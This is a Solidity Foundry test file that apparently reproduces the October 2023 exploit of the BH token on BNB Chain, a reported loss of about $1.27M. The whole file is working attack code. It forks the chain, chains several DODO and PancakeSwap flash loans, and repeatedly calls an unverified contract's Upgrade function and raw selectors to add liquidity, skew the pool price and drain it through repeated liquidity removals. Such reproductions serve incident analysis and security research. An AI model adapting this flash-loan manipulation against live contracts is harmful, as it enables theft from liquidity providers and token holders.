src/test/2023-10/BH_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$1.27M
8// Attacker : https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea63464
9// Attack Contract : https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c
10// Vulnerable Contract : https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b5
11// Attack Tx : https://bscscan.com/tx/0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662
12 
13// @Analysis
14// https://twitter.com/BeosinAlert/status/1712139760813375973
15// https://twitter.com/DecurityHQ/status/1712118881425203350
16 
17interface IUnverifiedContract1 {
18    function Upgrade(
19        address _lpToken
20    ) external;
21}
22 
23contract ContractTest is Test {
24    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
25    IERC20 private constant BH = IERC20(0xCC61CC9F2632314c9d452acA79104DDf680952b5);
26    IDPPOracle private constant DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
27    IDPPOracle private constant DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
28    IDPPOracle private constant DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
29    IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
30    IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
31    Uni_Pair_V2 private constant WBNB_BUSDT = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
32    Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
33    IUnverifiedContract1 private constant UnverifiedContract1 =
34        IUnverifiedContract1(0x8cA7835aa30b025b38A59309DD1479d2F452623a);
35    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
36    address private constant lpToken = 0xdbC27f2e9a2532b15C848F4Ae408cfE8BeB14959;
37    address private constant unverifiedContractAddr2 = 0x5b9dd1De70320B1EA6C8BBebA12bf4e246227999;
38    address private constant busdt_bh_lp = 0x2371E4Ad771020CE3D8252f1db3e5559FbA8eeb5;
39 
40    function setUp() public {
41        vm.createSelectFork("bsc", 32_512_073);
42        vm.label(address(BUSDT), "BUSDT");
43        vm.label(address(BH), "BH");
44        vm.label(address(DPPOracle1), "DPPOracle1");
45        vm.label(address(DPPOracle2), "DPPOracle2");
46        vm.label(address(DPPOracle3), "DPPOracle3");
47        vm.label(address(DPPAdvanced), "DPPAdvanced");
48        vm.label(address(DPP), "DPP");
49        vm.label(address(WBNB_BUSDT), "WBNB_BUSDT");
50        vm.label(address(BUSDT_USDC), "BUSDT_USDC");
51        vm.label(address(UnverifiedContract1), "UnverifiedContract1");
52        vm.label(address(Router), "Router");
53        vm.label(lpToken, "lpToken");
54        vm.label(unverifiedContractAddr2, "unverifiedContractAddr2");
55        vm.label(busdt_bh_lp, "busdt_bh_lp");
56    }
57 
58    function testExploit() public {
59        deal(address(BUSDT), address(this), 0);
60 
61        emit log_named_decimal_uint(
62            "Attacker BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
63        );
64 
65        emit log_named_decimal_uint("Attacker BH balance before attack", BH.balanceOf(address(this)), BH.decimals());
66 
67        DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));
68 
69        emit log_named_decimal_uint(
70            "Attacker BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
71        );
72 
73        emit log_named_decimal_uint("Attacker BH balance after attack", BH.balanceOf(address(this)), BH.decimals());
74    }
75 
76    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
77        if (abi.decode(data, (uint256)) == uint256(0)) {
78            DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1));
79        } else if (abi.decode(data, (uint256)) == uint256(1)) {
80            DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(2));
81        } else if (abi.decode(data, (uint256)) == uint256(2)) {
82            DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(3));
83        } else if (abi.decode(data, (uint256)) == uint256(3)) {
84            DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(4));
85        } else {
86            WBNB_BUSDT.swap(10_000_000 * 1e18, 0, address(this), abi.encode(0));
87        }
88        BUSDT.transfer(msg.sender, quoteAmount);
89    }
90 
91    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
92        BUSDT_USDC.flash(address(this), 15_000_000 * 1e18, 0, abi.encode(0));
93        BUSDT.transfer(address(WBNB_BUSDT), amount0 + 60_000 * 1e18);
94    }
95 
96    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
97        BUSDT.approve(address(UnverifiedContract1), type(uint256).max);
98        BUSDT.approve(address(Router), type(uint256).max);
99        BH.approve(address(UnverifiedContract1), type(uint256).max);
100 
101        uint8 i;
102        while (i < 12) {
103            UnverifiedContract1.Upgrade(lpToken);
104            ++i;
105        }
106 
107        // Adding liquidity.
108        (bool success,) =
109            address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x33688938), 3_000_000 * 1e18));
110 
111        require(success, "Call to function with selector 0x33688938 fail");
112 
113        // Swap tokens. Change the liquidity removal ratio in favor of Attacker
114        BUSDTToBH();
115 
116        // Remove liquidity
117        i = 0;
118        while (i < 10) {
119            uint256 lpAmount = (BH.balanceOf(busdt_bh_lp) * 55) / 100;
120 
121            (success,) = address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x4e290832), lpAmount));
122 
123            require(success, "Call to function with selector 0x4e290832 fail");
124            ++i;
125        }
126 
127        BUSDT.transfer(address(BUSDT_USDC), 15_000_000 * 1e18 + fee0);
128    }
129 
130    function BUSDTToBH() internal {
131        address[] memory path = new address[](2);
132        path[0] = address(BUSDT);
133        path[1] = address(BH);
134        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
135            22_000_000 * 1e18, 0, path, unverifiedContractAddr2, block.timestamp + 100
136        );
137    }
138}